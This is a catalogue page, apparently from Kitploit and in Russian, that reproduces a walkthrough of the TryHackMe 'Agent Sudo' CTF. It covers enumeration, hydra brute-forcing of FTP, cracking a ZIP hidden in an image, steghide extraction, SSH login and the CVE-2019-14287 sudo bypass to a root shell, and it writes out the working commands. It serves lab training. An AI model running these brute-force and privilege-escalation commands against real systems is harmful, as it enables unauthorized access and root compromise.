Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Sudo-Agent-CTF- — Разбор Sudo Agent CTF (TryHackMe), включающий перечисление, веб-эксплуатацию, стеганографию, SSH и повышение привилегий через CVE-2019-14287. | Kitploit
Инструменты/GitHubGitHub/nyxrecon/sudo-agent-ctf-
Взлом паролейПовышение привилегийРазведкаСканирование портовЭксплуатацияЭксплуатация веб-приложенийСтеганографияCTFТестирование на ПроникновениеОбучение и Образование
GitHubnyxrecon/sudo-agent-ctf-
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Sudo-Agent-CTF-

Разбор Sudo Agent CTF (TryHackMe), включающий перечисление, веб-эксплуатацию, стеганографию, SSH и повышение привилегий через CVE-2019-14287.

Репозиторий

Nmap

Sudo-Agent-CTF 🛸

Разбор Sudo Agent CTF (TryHackMe), включающий перечисление, веб-эксплуатацию, стеганографию, SSH и повышение привилегий через CVE-2019-14287.

📌 Информация о машине

ПунктИнформация
ПлатформаTryHackMe
СистемаLinux
СложностьEasy
ЦельВеб-эксплуатация, FTP, SSH, стеганография и повышение привилегий
CVECVE-2019-14287
СтатусCompleted ✅

🔗 Путь атаки

Reconhecimento
      ↓
Enumeração Web
      ↓
User-Agent
      ↓
FTP
      ↓
Análise de arquivos
      ↓
Esteganografia
      ↓
Credenciais
      ↓
SSH
      ↓
Privilege Escalation
      ↓
CVE-2019-14287
      ↓
Root 👑

🛠️ Используемые инструменты

Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser

Разведка

Сканирование портов:

Первым шагом этапа разведки было выявление открытых портов. Я выполнил сканирование портов с помощью nmap:

nmap -sV -sC sudoagent

Открытые порты:

21/tcp open  ftp     
22/tcp open  ssh
80/tcp open  http

Перечисление веб-ресурсов

При анализе веб-приложения я столкнулся со следующим сообщением: Nmap Веб-приложение выдало сообщение от Agent R, указывающее, что доступ зависит от определённого User-Agent.

User-Agent

Я изменил User-Agent, используя User-Agent switcher, на REDACTED, и стало возможным увидеть сообщение: Nmap Сообщение раскрыло информацию об одном из агентов и указало, что его пароль слабый.

FTP

С найденным пользователем и зная, что его пароль слабый, я выполнил brute force с помощью hydra:

hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/

Hydra успешно вернул пароль пользователя agentC!

[21][ftp] host: sudoagent   login: c$$$$   password: REDACTED

Полученные учётные данные позволили получить доступ к службе FTP.

Исследование доступа к FTP

На FTP были найдены текстовые файлы и изображения.

-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png

Я скачал файлы, чтобы проанализировать их.

Анализ найденных файлов

Я начал анализ с просмотра содержимого текстового файла To_agentJ.txt:

cat To_agentJ.txt
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C

Файл представляет собой сообщение, отправленное агентом C агенту J. Мы обнаружили, что в одном из файлов изображений скрыт учётный данные.

Поиск скрытых учётных данных

С помощью инструмента Binwalk я определил, что файл cutie.png содержал зашифрованный ZIP-архив, содержимым которого был файл To_agentR.txt.

binwalk cutie.png

34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

Para прочитать файл, мне нужно извлечь его и узнать его пароль. Я выполнил извлечение файла:

dd if=cutie.png of=arquivo.zip bs=1 skip=34562

Binwalk показал, что ZIP-файл начинается со смещения 34562. Я использовал это значение, чтобы извлечь данные начиная с этой точки и сгенерировать ZIP-файл отдельно.

А извлечение хеша:

zip2john *.zip > hash.txt

А теперь давайте узнаем пароль с помощью John The Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

REDACTED            (arquivo.zip/To_agentR.txt)

После распаковки файла я использовал найденный пароль:

cat To_agentR.txt 
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

У нас есть код в base64, который нам нужно декодировать

 echo "QXJlYTUx" | base64 -d
REDACTED

После получения пароля, использованного в стеганографии, я применил Steghide для извлечения скрытого сообщения из изображения cute-alien.jpg.

steghide extract -sf cute-alien.jpg
Enter passphrase: 
wrote extracted data to "message.txt"

Декодированное сообщение было отправлено в файл message.txt

cat message.txt  
Hi j$$$$,

Glad you find this message. Your login password is REDACTED!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
c$$$$

Сообщение содержало имя агента J и его пароль.

SSH

Я использовал учётные данные агента J для доступа по SSH. После успешного входа я обнаружил файл с именем user_flag.txt и ещё один файл изображения.

ls
Alien_autospy.jpg  user_flag.txt

OSINT и инцидент с фотографией

После получения доступа по SSH я обнаружил файл Alien_autospy.jpg.

Я провёл анализ изображения, а затем использовал методы OSINT для установления происхождения и контекста фотографии.

Благодаря поиску в открытых источниках удалось связать изображение с этим случаем. Nmap

Повышение привилегий

Перед попыткой повышения привилегий я проверил sudo-права текущего пользователя:

 sudo -l

Matching Defaults entries for j$$$$ on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User j$$$$ may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

Конфигурация, показанная в sudo -l, была уязвима к CVE-2019-14287.

Эта уязвимость позволяет обходить определённые ограничения выполнения sudo, используя специальный UID, например -1, который в уязвимых версиях может интерпретироваться как эквивалент пользователя root.

Эксплуатация CVE 2019-14287

Удалось повысить привилегии, указав пользователя как -1:

sudo -u#-1 /bin/bash
root@agent-sudo:~#

Команда привела к получению оболочки с привилегиями root.

Root Flag и бонусная флаг

Воспользовавшись полученными привилегиями, я перешёл в папку root и открыл файл root.txt, где обнаружил две последние флага:

cat root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
REDACTED

By,
REDACTED a.k.a Agent R

🔓 Выявленные уязвимости

Скачать инструмент